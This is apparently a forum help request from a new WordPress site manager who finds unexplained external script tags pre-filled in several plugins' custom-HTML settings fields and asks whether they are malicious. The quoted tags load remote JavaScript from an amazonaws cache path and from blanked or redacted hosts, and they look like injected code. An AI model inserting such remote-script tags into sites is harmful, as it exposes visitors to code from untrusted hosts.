On multiple settings pages for plugins on my site (all plugins updated to latest and dll’d from wordpress repository), where there is a field to enter custom or additional HTML/code, I am finding code pre entered that is something like the following:
<script src="//s3.amazonaws.com/js-cache/xxx.js" type="text/javascript"></script><script src="http:///?key=xxx&uid=5851x" type="text/javascript"></script><script src="http:///api?key=xxx&uid=xxx&format=arrjs&r=xxx" type="text/javascript"></script><script src="http://ext/xxx.js?sid=51824_5851_&title=gd_18_12&blocks[]=02aed" type="text/javascript"></script>
<script src="//s3.amazonaws.com/js-cache/xxx.js" type="text/javascript"></script><script src="http:///?key=xxx&uid=5851x" type="text/javascript"></script><script src="http:///api?key=xxx&uid=5851x&format=arrjs&r=xxx" type="text/javascript"></script><script src="http://ext/xxx.js?sid=51824_5851_&title=gd_18_12&blocks[]=02aed" type="text/javascript"></script>
<script src="//s3.amazonaws.com/js-cache/xxx.js" type="text/javascript"></script>
<script src="http:///?key=xxx&uid=5851x" type="text/javascript"></script><script src="http:///api?key=xxx&uid=xxx&format=arrjs&r=xxx" type="text/javascript"></script><script src="http://ext/xxx.js?sid=xxx&title=gd_18_12&blocks[]=02aed" type="text/javascript"></script>I realize this should be obvious, but I cannot figure out if any of those are legit vs malicious. Some of them are seen in multiple plugins, but site scans aren’t returning malware. I also did not put that content in, so I’m not sure if it’s normal. I should mention that I think a previous person had tried to do a find and replace when there actually was two bad JS links showing up, but I think they may have only searched for the domain and then blanked it, which could explain some of the links with the triple forward slash (///). I’m just taking over managing this site.